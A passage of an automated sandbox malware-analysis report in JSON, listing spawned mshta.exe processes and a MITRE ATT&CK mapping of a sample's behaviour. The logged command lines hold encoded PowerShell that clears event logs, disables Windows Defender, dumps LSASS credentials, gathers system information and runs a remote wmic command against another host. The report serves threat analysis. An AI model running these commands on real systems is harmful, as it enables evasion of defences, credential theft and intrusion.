d2V2dHV0aWwgZWx8JSB7d2V2dHV0aWwgY2wgIiRfIn07bmV0IHN0b3AgV2luRGVmZW5kO25ldCBzdG9wIHdzY3N2YztTZXQtTXBQcmVmZXJlbmNlIC1EaXNhYmxlUmVhbHRpbWVNb25pdG9yaW5nICR0cnVl\\\", 0, False(window.close)\"","sha256":"9984088ed1d04e49ff713fd4488700397ae0a7fa84285cc2714599abd6b109f5","av_label":null,"av_matched":null,"av_total":null,"pid":"9000","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00000000-00005204","parentuid":"00000000-00007844","name":"mshta.exe","normalized_path":"%WINDIR%\\system32\\mshta.exe","command_line":"\"vbscript:CreateObject(\\\"WScript.Shell\\\").Run \\\"powershell -NoP -NonI -W Hidden -Enc cnVuZGxsMzIgQzpcV2luZG93c1xTeXN0ZW0zMlxjb21zdmNzLmRsbCwgTWluaUR1bXAgKEdldC1Qcm9jZXNzIGxzYXNzKS5JZCBOVUwgZnVsbA==\\\", 0, False(window.close)\"","sha256":"9984088ed1d04e49ff713fd4488700397ae0a7fa84285cc2714599abd6b109f5","av_label":null,"av_matched":null,"av_total":null,"pid":"5204","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00000000-00002396","parentuid":"00000000-00007844","name":"mshta.exe","normalized_path":"%WINDIR%\\system32\\mshta.exe","command_line":"\"vbscript:CreateObject(\\\"WScript.Shell\\\").Run \\\"powershell -NoP -NonI -W Hidden -Enc d21pYyBjb21wdXRlcnN5c3RlbSBnZXQgY2FwdGlvbixkb21haW4sdXNlcm5hbWU7c3lzdGVtaW5mbw==\\\", 0, False(window.close)\"","sha256":"9984088ed1d04e49ff713fd4488700397ae0a7fa84285cc2714599abd6b109f5","av_label":null,"av_matched":null,"av_total":null,"pid":"2396","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00000000-00000688","parentuid":"00000000-00007844","name":"mshta.exe","normalized_path":"%WINDIR%\\system32\\mshta.exe","command_line":"\"vbscript:CreateObject(\\\"WScript.Shell\\\").Run \\\"powershell -NoP -NonI -W Hidden -Enc d21pYyAvbm9kZToiMTkyLjE2OC4xLjEwMCIgcHJvY2VzcyBjYWxsIGNyZWF0ZSAiY21kIC9jIHdob2FtaSA+IFxcXFwxOTIuMTY4LjEuMTAwXFxBRE1JTiRcXHgudHh0Ig==\\\", 0, False(window.close)\"","sha256":"9984088ed1d04e49ff713fd4488700397ae0a7fa84285cc2714599abd6b109f5","av_label":null,"av_matched":null,"av_total":null,"pid":"688","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00000000-00002204","parentuid":"00000000-00007844","name":"mshta.exe","normalized_path":"%WINDIR%\\system32\\mshta.exe","command_line":"javascript:eval(atob('ZXZhbChhdG9iKCdTSVBzS0VneHdFaUR3QjVJdUdOaGJHeGlZV05yU0luQ1NNZkFIZ0FBQUE4RlNESEF3dz09JykpOw=='))(window.close)","sha256":"9984088ed1d04e49ff713fd4488700397ae0a7fa84285cc2714599abd6b109f5","av_label":null,"av_matched":null,"av_total":null,"pid":"2204","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]}],"mitre_attcks":[{"tactic":"Execution","technique":"Inter-Process Communication","attck_id":"T1559","attck_id_wiki":"https://attack.mitre.org/techniques/T1559","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to create/connect to a named pipe (API string)"],"parent":null},{"tactic":"Execution","technique":"Native API","attck_id":"T1106","attck_id_wiki":"https://attack.mitre.org/techniques/T1106","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":["Imports suspicious APIs"],"informative_identifiers_count":11,"informative_identifiers":["Contains ability to create/open files (API string)","Contains ability to execute Windows APIs","Contains ability to retrieve/modify process thread (API string)","Contains ability to load modules (API string)","Input file contains API references not part of its Import Address Table (IAT)","Contains ability to retrieve address of exported function from a DLL (API string)","Contains ability to create a new process (API string)","Contains ability to set/get the last-error code for a calling thread (API string)","Contains ability to retrieve the fully qualified path of module (API string)","Calls an API typically used to retrieve function addresses","Calls an API typically used to create a process"],"parent":null},{"tactic":"Execution","technique":"Windows Command Shell","attck_id":"T1059.003","attck_id_wiki":"https://attack.mitre.org/techniques/T1059/003","malicious_identifiers_count":1,"malicious_identifiers":["Able to execute commands through Windows command interpreter (ASP)"],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":2,"informative_identifiers":["Contains ability to retrieve the command-line string for the current process (API string)","Able to retrieve command line parameters of the running process"],"parent":{"technique":"Command and Scripting Interpreter","attck_id":"T1059","attck_id_wiki":"https://attack.mitre.org/techniques/T1059"}},{"tactic":"Execution","technique":"Windows Management Instrumentation","attck_id":"T1047","attck_id_wiki":"https://attack.mitre.org/techniques/T1047","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":["Contains references to WMI/WMIC"],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Execution","technique":"PowerShell","attck_id":"T1059.001","attck_id_wiki":"https://attack.mitre.org/techniques/T1059/001","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":3,"informative_identifiers":["Able to build PowerShell events through modules contained in the .NET code","Observed Powershell command strings","YARA signature match - PowerShell file content"],"parent":{"technique":"Command and Scripting Interpreter","attck_id":"T1059","attck_id_wiki":"https://attack.mitre.org/techniques/T1059"}},{"tactic":"Execution","technique":"Shared Modules","attck_id":"T1129","attck_id_wiki":"https://attack.mitre.org/techniques/T1129","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":3,"informative_identifiers":["Loads modules at runtime","Calls an API typically used to load libraries","Loads the RPC (Remote Procedure Call) module DLL"],"parent":null},{"tactic":"Persistence","technique":"Socket Filters","attck_id":"T1205.002","attck_id_wiki":"https://attack.mitre.org/techniques/T1205/002","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Able to monitor socket connection"],"parent":{"technique":"Traffic Signaling","attck_id":"T1205","attck_id_wiki":"https://attack.mitre.org/techniques/T1205"}},{"tactic":"Persistence","technique":"Modify Registry","attck_id":"T1112","attck_id_wiki":"https://attack.mitre.org/techniques/T1112","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":4,"informative_identifiers":["Contains ability to disable/close registry key (API string)","Contains ability to modify registry key/value (API string)","Able to delete registry key/value (API string)","Able to create/load registry keys (API string)"],"parent":null},{"tactic":"Persistence","technique":"Local Account","attck_id":"T1136.001","attck_id_wiki":"https://attack.mitre.org/techniques/T1136/001","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to create a new user account (API string)"],"parent":{"technique":"Create Account","attck_id":"T1136","attck_id_wiki":"https://attack.mitre.org/techniques/T1136"}},{"tactic":"Persistence","technique":"Create or Modify System Process","attck_id":"T1543","attck_id_wiki":"https://attack.mitre.org/techniques/T1543","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"],"parent":null},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attck_id":"T1547.006","attck_id_wiki":"https://attack.mitre.org/techniques/T1547/006","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":{"technique":"Boot or Logon Autostart Execution","attck_id":"T1547","attck_id_wiki":"https://attack.mitre.org/techniques/T1547"}},{"tactic":"Persistence","technique":"Windows Service","attck_id":"T1543.003","attck_id_wiki":"https://attack.mitre.org/techniques/T1543/003","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":3,"informative_identifiers":["Contains ability to create/control drivers (API string)","Contains ability to access device drivers","Contains ability to set/modify configuration (Powershell command string)"],"parent":{"technique":"Create or Modify System Process","attck_id":"T1543","attck_id_wiki":"https://attack.mitre.org/techniques/T1543"}},{"tactic":"Persistence","technique":"Services File Permissions Weakness","attck_id":"T1574.010","attck_id_wiki":"https://attack.mitre.org/techniques/T1574/010","malicious_identifiers_count":1,"malicious_identifiers":["References security related windows services"],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":{"technique":"Hijack Execution Flow","attck_id":"T1574","attck_id_wiki":"https://attack.mitre.org/techniques/T1574"}},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attck_id":"T1547","attck_id_wiki":"https://attack.mitre.org/techniques/T1547","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attck_id":"T1055.003","attck_id_wiki":"https://attack.mitre.org/techniques/T1055/003","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Creates a thread in a self process"],"parent":{"technique":"Process Injection","attck_id":"T1055","attck_id_wiki":"https://attack.mitre.org/techniques/T1055"}},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attck_id":"T1055.001","attck_id_wiki":"https://attack.mitre.org/techniques/T1055/001","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to load/free library (API string)"],"parent":{"technique":"Process Injection","attck_id":"T1055","attck_id_wiki":"https://attack.mitre.org/techniques/T1055"}},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attck_id":"T1134.001","attck_id_wiki":"https://attack.mitre.org/techniques/T1134/001","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":3,"informative_identifiers":["Contains ability to obtains specified information about the security of a file or directory (API string)","Contains ability to impersonate another user on the local machine (API string)","Contains ability to impersonate access tokens (API string)"],"parent":{"technique":"Access Token Manipulation","attck_id":"T1134","attck_id_wiki":"https://attack.mitre.org/techniques/T1134"}},{"tactic":"Privilege Escalation","technique":"Process Injection","attck_id":"T1055","attck_id_wiki":"https://attack.mitre.org/techniques/T1055","malicious_identifiers_count":1,"malicious_identifiers":["Writes data to a remote process"],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Able to inject code into another process (API string)"],"parent":null},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attck_id":"T1134.002","attck_id_wiki":"https://attack.mitre.org/techniques/T1134/002","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to create process with token (API string)"],"parent":{"technique":"Access Token Manipulation","attck_id":"T1134","attck_id_wiki":"https://attack.mitre.org/techniques/T1134"}},{"tactic":"Privilege Escalation","technique":"Create or Modify System Process","attck_id":"T1543","attck_id_wiki":"https://attack.mitre.org/techniques/T1543","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"],"parent":null},{"tactic":"Privilege Escalation","technique":"Kernel Modules and Extensions","attck_id":"T1547.006","attck_id_wiki":"https://attack.mitre.org/techniques/T1547/006","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":{"technique":"Boot or Logon Autostart Execution","attck_id":"T1547","attck_id_wiki":"https://attack.mitre.org/techniques/T1547"}},{"tactic":"Privilege Escalation","technique":"Windows Service","attck_id":"T1543.003","attck_id_wiki":"https://attack.mitre.org/techniques/T1543/003","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":3,"informative_identifiers":["Contains ability to create/control drivers (API string)","Contains ability to access device drivers","Contains ability to set/modify configuration (Powershell command string)"],"parent":{"technique":"Create or Modify System Process","attck_id":"T1543","attck_id_wiki":"https://attack.mitre.org/techniques/T1543"}},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attck_id":"T1134","attck_id_wiki":"https://attack.mitre.org/techniques/T1134","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to modify access token privileges (API string)"],"parent":null},{"tactic":"Privilege Escalation","technique":"Services File Permissions Weakness","attck_id":"T1574.010","attck_id_wiki":"https://attack.mitre.org/techniques/T1574/010","malicious_identifiers_count":1,"malicious_identifiers":["References security related windows services"],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":{"technique":"Hijack Execution Flow","attck_id":"T1574","attck_id_wiki":"https://attack.mitre.org/techniques/T1574"}},{"tactic":"Privilege Escalation","technique":"Boot or Logon Autostart Execution","attck_id":"T1547","attck_id_wiki":"https://attack.mitre.org/techniques/T1547","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attck_id":"T1055.011","attck_id_wiki":"https://attack.mitre.org/techniques/T1055/011","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":{"technique":"Process Injection","attck_id":"T1055","attck_id_wiki":"https://attack.mitre.org/techniques/T1055"}},{"tactic":"Privilege Escalation","technique":"Portable Executable Injection","attck_id":"T1055.002","attck_id_wiki":"https://attack.mitre.org/techniques/T1055/002","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Attempts remote code execution into another process memory space"],"parent":{"technique":"Process Injection","attck_id":"T1055","attck_id_wiki":"https://attack.mitre.org/techniques/T1055"}},{"tactic":"Defense Evasion","technique":"Thread Execution Hijacking","attck_id":"T1055.003","attck_id_wiki":"https://attack.mitre.org/techniques/T1055/003","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Creates a thread in a self process"],"parent":{"technique":"Process Injection","attck_id":"T1055","attck_id_wiki":"https://attack.mitre.org/techniques/T1055"}},{"tactic":"Defense Evasion","technique":"Dynamic-link Library Injection","attck_id":"T1055.001","attck_id_wiki":"https://attack.mitre.org/techniques/T1055/001","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to load/free library (API string)"],"parent":{"technique":"Process Injection","attck_id":"T1055","attck_id_wiki":"https://attack.mitre.org/techniques/T1055"}},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attck_id":"T1027","attck_id_wiki":"https://attack.mitre.org/techniques/T1027","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":4,"suspicious_identifiers":["Timestamp in PE header is very old or in the future"],"informative_identifiers_count":8,"informative_identifiers":["Contains CRYPTO related strings","Contains ability to perform AES/RC4 encryption (API string)","Possibly references Golang binary related string","Loads the Bcrypt module DLL","Matched Compiler/Packer signature (DIE)","YARA signature match - RC4 Encryption","YARA signature match – ROR algorithm","Shows ability to obfuscate file or information"],"parent":null},{"tactic":"Defense Evasion","technique":"Socket Filters","attck_id":"T1205.002","attck_id_wiki":"https://attack.mitre.org/techniques/T1205/002","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Able to monitor socket connection"],"parent":{"technique":"Traffic Signaling","attck_id":"T1205","attck_id_wiki":"https://attack.mitre.org/techniques/T1205"}},{"tactic":"Defense Evasion","technique":"Token Impersonation/Theft","attck_id":"T1134.001","attck_id_wiki":"https://attack.mitre.org/techniques/T1134/001","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":3,"informative_identifiers":["Contains ability to obtains specified information about the security of a file or directory (API string)","Contains ability to impersonate another user on the local machine (API string)","Contains ability to impersonate access tokens (API string)"],"parent":{"technique":"Access Token Manipulation","attck_id":"T1134","attck_id_wiki":"https://attack.mitre.org/techniques/T1134"}},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attck_id":"T1497.003","attck_id_wiki":"https://attack.mitre.org/techniques/T1497/003","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":2,"informative_identifiers":["Contains ability to delay execution by waiting for signal/timeout (API string)","Contains ability to delay execution (Powershell command string)"],"parent":{"technique":"Virtualization/Sandbox Evasion","attck_id":"T1497","attck_id_wiki":"https://attack.mitre.org/techniques/T1497"}},{"tactic":"Defense Evasion","technique":"Modify Registry","attck_id":"T1112","attck_id_wiki":"https://attack.mitre.org/techniques/T1112","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":4,"informative_identifiers":["Contains ability to disable/close registry key (API string)","Contains ability to modify registry key/value (API string)","Able to delete registry key/value (API string)","Able to create/load registry keys (API string)"],"parent":null},{"tactic":"Defense Evasion","technique":"Process Injection","attck_id":"T1055","attck_id_wiki":"https://attack.mitre.org/techniques/T1055","malicious_identifiers_count":1,"malicious_identifiers":["Writes data to a remote process"],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Able to inject code into another process (API string)"],"parent":null},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attck_id":"T1564","attck_id_wiki":"https://attack.mitre.org/techniques/T1564","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Found virtual disk drive like strings"],"parent":null},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attck_id":"T1222","attck_id_wiki":"https://attack.mitre.org/techniques/T1222","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to modify file attributes (API string)"],"parent":null},{"tactic":"Defense Evasion","technique":"File Deletion","attck_id":"T1070.004","attck_id_wiki":"https://attack.mitre.org/techniques/T1070/004","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":2,"informative_identifiers":["Contains ability to delete files/directories (API string)","Contains ability to delete files"],"parent":{"technique":"Indicator Removal","attck_id":"T1070","attck_id_wiki":"https://attack.mitre.org/techniques/T1070"}},{"tactic":"Defense Evasion","technique":"Timestomp","attck_id":"T1070.006","attck_id_wiki":"https://attack.mitre.org/techniques/T1070/006","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":2,"informative_identifiers":["Contains ability to set file time (API string)","Contains ability to retrieve file time (API string)"],"parent":{"technique":"Indicator Removal","attck_id":"T1070","attck_id_wiki":"https://attack.mitre.org/techniques/T1070"}},{"tactic":"Defense Evasion","technique":"Create Process with Token","attck_id":"T1134.002","attck_id_wiki":"https://attack.mitre.org/techniques/T1134/002","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to create process with token (API string)"],"parent":{"technique":"Access Token Manipulation","attck_id":"T1134","attck_id_wiki":"https://attack.mitre.org/techniques/T1134"}},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attck_id":"T1562.001","attck_id_wiki":"https://attack.mitre.org/techniques/T1562/001","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":5,"informative_identifiers":["Contains ability to modify process attributes (API string)","Contains ability to modify Windows Defender preferences (Powershell command string)","Contains ability to disable Windows Defender using PowerShell","Contains ability to perform AMSI Bypass","Loads the AMSI (Antimalware Scan Interface) DLL"],"parent":{"technique":"Impair Defenses","attck_id":"T1562","attck_id_wiki":"https://attack.mitre.org/techniques/T1562"}},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attck_id":"T1497.002","attck_id_wiki":"https://attack.mitre.org/techniques/T1497/002","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Able to identify virtual environment by using user activity (API string)"],"parent":{"technique":"Virtualization/Sandbox Evasion","attck_id":"T1497","attck_id_wiki":"https://attack.mitre.org/techniques/T1497"}},{"tactic":"Defense Evasion","technique":"Access Token Manipulation","attck_id":"T1134","attck_id_wiki":"https://attack.mitre.org/techniques/T1134","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to modify access token privileges (API string)"],"parent":null},{"tactic":"Defense Evasion","technique":"Services File Permissions Weakness","attck_id":"T1574.010","attck_id_wiki":"https://attack.mitre.org/techniques/T1574/010","malicious_identifiers_count":1,"malicious_identifiers":["References security related windows services"],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":{"technique":"Hijack Execution Flow","attck_id":"T1574","attck_id_wiki":"https://attack.mitre.org/techniques/T1574"}},{"tactic":"Defense Evasion","technique":"Extra Window Memory Injection","attck_id":"T1055.011","attck_id_wiki":"https://attack.mitre.org/techniques/T1055/011","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":{"technique":"Process Injection","attck_id":"T1055","attck_id_wiki":"https://attack.mitre.org/techniques/T1055"}},{"tactic":"Defense Evasion","technique":"Portable Executable Injection","attck_id":"T1055.002","attck_id_wiki":"https://attack.mitre.org/techniques/T1055/002","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Attempts remote code execution into another process memory space"],"parent":{"technique":"Process Injection","attck_id":"T1055","attck_id_wiki":"https://attack.mitre.org/techniques/T1055"}},{"tactic":"Defense Evasion","technique":"Disable Windows Event Logging","attck_id":"T1562.002","attck_id_wiki":"https://attack.mitre.org/techniques/T1562/002","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":["Modifies the configuration of Windows event logs"],"informative_identifiers_count":0,"informative_identifiers":[],"parent":{"technique":"Impair Defenses","attck_id":"T1562","attck_id_wiki":"https://attack.mitre.org/techniques/T1562"}},{"tactic":"Defense Evasion","technique":"Clear Windows Event Logs","attck_id":"T1070.001","attck_id_wiki":"https://attack.mitre.org/techniques/T1070/001","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Able to clear Windows event logs"],"parent":{"technique":"Indicator Removal","attck_id":"T1070","attck_id_wiki":"https://attack.mitre.org/techniques/T1070"}},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attck_id":"T1480","attck_id_wiki":"https://attack.mitre.org/techniques/T1480","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":2,"informative_identifiers":["Creates mutants","Shows ability to use execution guardrails"],"parent":null},{"tactic":"Defense Evasion","technique":"Mshta","attck_id":"T1218.005","attck_id_wiki":"https://attack.mitre.org/techniques/T1218/005","malicious_identifiers_count":1,"malicious_identifiers":["Detected mshta.exe process execution"],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":{"technique":"System Binary Proxy Execution","attck_id":"T1218","attck_id_wiki":"https://attack.mitre.org/techniques/T1218"}},{"tactic":"Defense Evasion","technique":"Software Packing","attck_id":"T1027.002","attck_id_wiki":"https://attack.mitre.org/techniques/T1027/002","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Matched Compiler/Packer signature"],"parent":{"technique":"Obfuscated Files or Information","attck_id":"T1027","attck_id_wiki":"https://attack.mitre.org/techniques/T1027"}},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attck_id":"T1027.009","attck_id_wiki":"https://attack.mitre.org/techniques/T1027/009","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":["Section contains high entropy"],"informative_identifiers_count":0,"informative_identifiers":[],"parent":{"technique":"Obfuscated Files or Information","attck_id":"T1027","attck_id_wiki":"https://attack.mitre.org/techniques/T1027"}},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attck_id":"T1497","attck_id_wiki":"https://attack.mitre.org/techniques/T1497","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["The input sample contains the RDTSCP instruction"],"parent":null},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attck_id":"T1027.005","attck_id_wiki":"https://attack.mitre.org/techniques/T1027/005","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["XOR operations in executable file detected"],"parent":{"technique":"Obfuscated Files or Information","attck_id":"T1027","attck_id_wiki":"https://attack.mitre.org/techniques/T1027"}},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attck_id":"T1027.013","attck_id_wiki":"https://attack.mitre.org/techniques/T1027/013","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["YARA signature match - Medium entropy File"],"parent":{"technique":"Obfuscated Files or Information","attck_id":"T1027","attck_id_wiki":"https://attack.mitre.org/techniques/T1027"}},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attck_id":"T1140","attck_id_wiki":"https://attack.mitre.org/techniques/T1140","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Shows ability to deobfuscate/decode files or information"],"parent":null},{"tactic":"Credential Access","technique":"OS Credential Dumping","attck_id":"T1003","attck_id_wiki":"https://attack.mitre.org/techniques/T1003","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"],"parent":null},{"tactic":"Discovery","technique":"File and Directory Discovery","attck_id":"T1083","attck_id_wiki":"https://attack.mitre.org/techniques/T1083","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":6,"informative_identifiers":["Contains ability to retrieve file and directory information (API string)","Able to rename or move file/directory (API string)","Contains ability to enumerate files on disk (API string)","References Windows file paths for DLLs (possible dropped files)","Tries to access non-existent files (executable)","Touches files"],"parent":null},{"tactic":"Discovery","technique":"System Information Discovery","attck_id":"T1082","attck_id_wiki":"https://attack.mitre.org/techniques/T1082","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":["Found system commands related strings"],"informative_identifiers_count":13,"informative_identifiers":["Contains ability to retrieve the OS information (API string)","Able to retrieve information about the current system (API string)","Able to retrieve geographical location information","Able to discover operating system information (API string)","Contains ability to retrieve volume information (API string)","Contains ability to retrieve a module handle (API string)","Contains ability to retrieve the NetBIOS name of the local computer (API string)","Contains ability to retrieve the host's architecture (API string)","Attempts to call APIs to gather system and hardware detail","Able to gather system information (.NET)","Calls an API typically used to get system version information","Calls an API typically used to get product type","Contains ability to read software policies"],"parent":null},{"tactic":"Discovery","technique":"Time Based Evasion","attck_id":"T1497.003","attck_id_wiki":"https://attack.mitre.org/techniques/T1497/003","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":2,"informative_identifiers":["Contains ability to delay execution by waiting for signal/timeout (API string)","Contains ability to delay execution (Powershell command string)"],"parent":{"technique":"Virtualization/Sandbox Evasion","attck_id":"T1497","attck_id_wiki":"https://attack.mitre.org/techniques/T1497"}},{"tactic":"Discovery","technique":"Process Discovery","attck_id":"T1057","attck_id_wiki":"https://attack.mitre.org/techniques/T1057","malicious_identifiers_count":1,"malicious_identifiers":["Spawns a lot of 